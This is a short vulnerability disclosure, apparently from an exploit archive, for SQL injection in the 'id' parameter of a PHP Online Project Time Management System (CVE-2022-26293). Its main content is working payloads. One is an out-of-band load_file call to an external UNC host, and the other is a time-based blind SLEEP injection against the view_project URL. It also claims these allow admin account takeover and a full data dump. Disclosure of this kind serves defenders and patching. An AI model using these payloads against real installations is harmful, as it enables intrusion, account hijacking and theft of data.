## Title: Online Project Time Management v1.0 SQLi
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-26293
## Description:
The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\u7205zjf5m2cgpr195q5vjxg0760usvgmjaax1lq.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html\\qgh'))+' was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=projects/view_project&id=1'+(select load_file('\\\\u7205zjf5m2cgpr195q5vjxg0760usvgmjaax1lq.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html\\qgh'))+'' AND (SELECT 9854 FROM (SELECT(SLEEP(5)))YUoR)-- CNQi
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-26293)
## Proof and Exploit:
[href](https://streamable.com/habaj9)